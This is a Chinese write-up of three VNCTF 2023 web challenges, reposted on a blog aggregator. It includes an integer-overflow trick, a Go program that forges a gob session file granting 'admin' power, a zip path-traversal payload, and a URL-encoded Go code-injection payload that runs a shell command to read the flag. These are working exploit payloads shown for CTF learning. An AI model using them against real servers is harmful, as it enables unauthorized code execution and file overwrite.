VNCTF 2023复现

news2024/9/22 15:39:45

文章目录

  • 象棋王子
  • 电子木鱼
  • BabyGo

象棋王子

签到题,直接在源码中找就ok。

image-20230219170613121

找到一处编码,在控制台输出。

image-20230219170654773

flag为:flag{w3lc0m3_t0_VNCTF_2023~~~}

电子木鱼

需要先理清代码逻辑。

存在三个路由。

一:/路由用来查看当前的功德数量,大于十亿后即可得到flag。

二:/reset是用来清空功德。

三:/upgrade,POST路由,用来控制功德。

image-20230219171232585

在这里可以知道各种name对应的cost。

image-20230219171319445

最主要的是这几个代码,首先是当name等于Donate和Cost时

cost=cost*quantity

然后最后设定的功德值是原值减去cost值,所以想办法让cost为负数或者quantity为负数即可让功德增加,在name等于Donate和Cost时cost初始都是整数,只能让quantity为负,想到让quantity过大然后溢出。

image-20230219171812605

成功溢出。

image-20230219171831374

flag为:flag{492cd242-6038-4a31-9bc4-1701624bf759}

BabyGo

本题为复现,当时不懂如何让ctfer.Power == “admin”。

首先也是理清一下代码逻辑,存在五个路由。

首先就是/路由。

image-20230219172214142

该路由创建了一个user.gob文件,保存到userDir目录下,然后设置了ctfer.Power的值为low。

gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}

然后就是文件上传路由。

image-20230219172448959

禁止了go和gob后缀的文件传入。

将文件传入到image-20230219172751592

userUploadDir就是/页面下中回显的目录+uploads/

所以是传入到了/tmp/05b9ef44a4225019d5e074eb8582dd2a/uploads/下。

再看一下/unzip路由:

大概作用就是去解压我们传上去的文件。

但注意其中image-20230219173107976

解压后的文件会解压到userUploadDir + c.Query(“path”)

c.Query作用是查询请求URL后面的参数。

代表我们可以控制path的值,看一下filepath.Clean的作用。

image-20230219173428571

代表了可以进行目录穿越,控制解压后的文件的传入路径。

继续看最后的/backdoor路由。

image-20230219173551967

去Open之前的user.gob文件,然后经过gob.NewDecoder操作。

image-20230219173806592

NewDecoder则是一种解码方式,也就是以二进制解码一下user.gob文件。

image-20230219173903090

如果ctfer.Power==“admin”,那么变可以继续,看一下最早是如何给ctf.Power设定值的。

image-20230219173955016

所以我们可以去利用解压文件后的目录可控来覆盖user.gob文件,修改其内容。

(16)Go OS文件基础创建、打开、读写与关闭_jadeshu的博客-CSDN博客_go os.create

学习了一下文件的操作。

//user.go
package main

import (
    "encoding/gob"
    "fmt"
    "os"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main(){
        userDir := "/tmp/05b9ef44a4225019d5e074eb8582dd2a/"  //自己docker起后的路径
        user := User{Name: "ctfer", Path: userDir, Power: "admin"}
        file, err := os.Create("./user.gob")
        if err != nil {
                fmt.Println("创建文件失败")
        return
        }
        defer file.Close()

        encoder := gob.NewEncoder(file)
        err = encoder.Encode(user)
        if err != nil {
        fmt.Println("编码错误")
        return
    } else {
        fmt.Println("编码成功")
    }
}

运行go脚本,然后得到gob文件,然后zip压缩上传。

payload:

/unzip?path=../../../tmp/c737f02c5be938c8ba38850084a0cb52/
/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

image-20230219183150498

然后python脚本解码:

str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]

for i in range(42):
    print(chr(str[i]),end="")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/357398.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

兼职任务平台收集(二)分享给有需要的朋友们

互联网时代,给人们带来了很大的便利。信息交流、生活缴费、足不出户购物、便捷出行、线上医疗、线上教育等等很多。可以说,网络的时代会一直存在着。很多人也在互联网上赚到了第一桶金,这跟他们的努力和付出是息息相关的。所谓一份耕耘&#…

Git详解

Git1.Git简介1.1 Git是什么1.2 Git的作用1.3 Git的简介1.4 Git的下载和安装1.5 Git的安装目录结构如下2.Git代码托管服务2.1 常用的Git代码托管服务1.Git简介 1.1 Git是什么 Git是一个分布式版本控制工具,主要用于管理开发过程中的源代码文件(Java类、x…

java 基于maven多模块合并打包部署

项目环境 jdk 1.8spring 2.7.xmaven 3.6 项目结构 模块功能 client – 对外service common – 共用工具切面等 main – 启动类 goods – 子模块具体实现 模块间依赖关系 client – 无依赖 common – 无依赖 main – client、common、goods goods – client、common 具体P…

[软件工程导论(第六版)]第6章 详细设计(课后习题详解)

文章目录1 假设只有SEQUENCE和DO-WHILE两种控制结构,怎样利用它们完成 IF THEN ELSE操作?2 假设只允许使用SEQUENCE和IF-THEN-ELSE两种控制结构,怎样利用它们完成DO WHILE操作?3 画出下列伪码程序的程序流程图和盒图:4…

C/C++每日一练(20230219)

目录 1. 用队列实现栈 2. 判断是否能组成三角形 3. 只出现一次的数字 II 附录 栈(Stack)和队列(Queue)的异同 1. 栈和队列的相同点 2. 栈和队列的不同点 1. 用队列实现栈 请你仅使用两个队列实现一个后入先出(…

基于FFmpeg和Screen Capturer Recorder实现屏幕和声音的录制

当我们看到一些精彩的视频画面,但无法下载时,可以通过录屏的方式将视频和音频录制下来。 这个时候我们需要安装采集视频和音频的工具screen-capture-recorder。 以下是在windows10环境下,基于FFmpeg和Screen Capturer Recorder实现屏幕和声音…

带噪学习-概述

在实际应用的时候,我们的样本不会是完全干净的,即存在噪声样本。那使用存在噪声的样本时,我们如何更有效的进行模型学习呢?Label Dependent Nose样本选择(Sample Selection)第一种很直接的想法,…

PDDON在线画图是如何惊艳到你的?

1. 简介 PDDON是一款支持低代码(lowcode)的免费在线画图工具。可用于绘制架构图、流程图、UML、网络拓扑图、韦恩图、鱼骨图、思维导图、BPMN等,并且支持对象建模、数据库建模、代码/脚本生成。 PDDON与市面上现有的画图工具对比有哪些优势呢? 完全免费…

SpringJDBC的框架

JDBC框架概述目录概述需求:设计思路实现思路分析1.Spring 编程式事务管理2.方法:3.Marks4.网页解析器5.步骤src性能参数测试:参考资料和推荐阅读Survive by day and develop by night. talk for import biz , show your perfect code,full bu…

【pytorch】nn.SmoothL1Loss 函数使用

SmoothL1 Loss1、Smooth L1 Loss2、nn.SmoothL1Loss 函数使用1、Smooth L1 Loss 本方法由微软rgb大神提出,Fast RCNN论文提出该方法 1)假设x为预测框和真实框之间的数值差异,常用的 L1 loss、L2 Loss 和 smooth L1 loss 定义分别为&#xf…

浅谈Spring中事务管理器

由于事务部分代码在设计上整体比较简单,我自己觉得它在设计上没有什么特别让我眼前一亮的东西,所以下文更多的是侧重执行流程,能理解事务管理器等一众概念以及相关的变量含义,真正遇到Bug会调试,知道在什么地方打断点就…

前端FileReader对象实现图片file文件转base64

1、file转base64具体代码 // 图片file转base64方法(file文件,回调函数)fileToBase64(file, callback) {// 创建FileReader对象(不兼容IE)let reader new FileReader();// 将file转为base64 (异步操作&…

如何正确选择好用的投票平台微信公众平台投票链接链接投票平台

“年度人物楷模”网络评选投票_免费链接投票_作品投票通道_扫码投票怎样进行现在来说,公司、企业、学校更多的想借助短视频推广自己。通过微信投票小程序,网友们就可以通过手机拍视频上传视频参加活动,而短视频微信投票评选活动既可以给用户发…

driver.js web 新手交互引导工具库

前言 最近逛技术论坛发现了 driver.js 这个库,相信很多人在app中都碰到过功能引导的,这个库就可以用来做这个功能。web段项目很少见到功能引导的,但是用在uniapp 、浏览器插件 中感觉还是十分不错的,因此打算来简单学习一下&…

js 防抖函数 节流函数

某些事件中(如 onresize onscroll onkeydown onkeyup onmousemove …),会连续触发函数的执行,如果函数执行一些耗时的操作(如请求数据…),会影响性能,也有可能造成服务器压力。这时可以用 防抖函数 或 节流函数解决这种问题。 防…

分布式环境下的服务器时钟同步问题解决办法

一、分布式集群场景下时钟不同步会有什么问题? 如上面的示意图所示,分布式集群场景下如果各个服务器时间不一致,可能导致同一时间产生的数据,在处理过程中和数据库中,保存成了不同的时间,造成数据混乱。 …

大数据之Phoenix环境搭建

文章目录前言一、下载Phoenix安装包二、上传并解压三、拷贝服务包到各个hbase的lib目录下四、修改hbase的配置文件五、重启HBase集群六、连接Phoenix客户端前言 #博学谷IT学习技术支持# 本篇文章主要介绍Phoenix的环境搭建,Phoenix支持使用SQL语句操作HBase&#x…

JavaWeb6-线程常用方法

目录 1.线程等待join(共有3个方法重载) 1.1.public void join() 1.2.public void join(long millis) 2.线程终止 2.1.通过自定义标记符来中断(常用) 2.2.调用 interrupt() 方法来中断(常用,最推荐使用…

Ubuntu安装落雪音乐LX Music

网址: https://lxmusic.toside.cn/ 以 .deb 结尾的文件为在 Linux 系统上运行的版本,软件还有 .rpm/AppImage/pacman 格式的 Linux 包,但没有上传到网盘,可自行到项目发布页面下载。 在Ubuntu上安装比较简单。 安装成功 打开音乐…

maven多环境配置

maven多环境配置 参考网址: https://mp.weixin.qq.com/s/-e74bd2wW_RLx7i4YF5M2w https://mp.weixin.qq.com/s/3p53kBHqys58QdMme6lR4A 项目地址 https://gitee.com/shao_ming314/maven-profile-dir 项目说明 该项目基于目录进行多环境配置 , 具体的配置文件在 src/resource…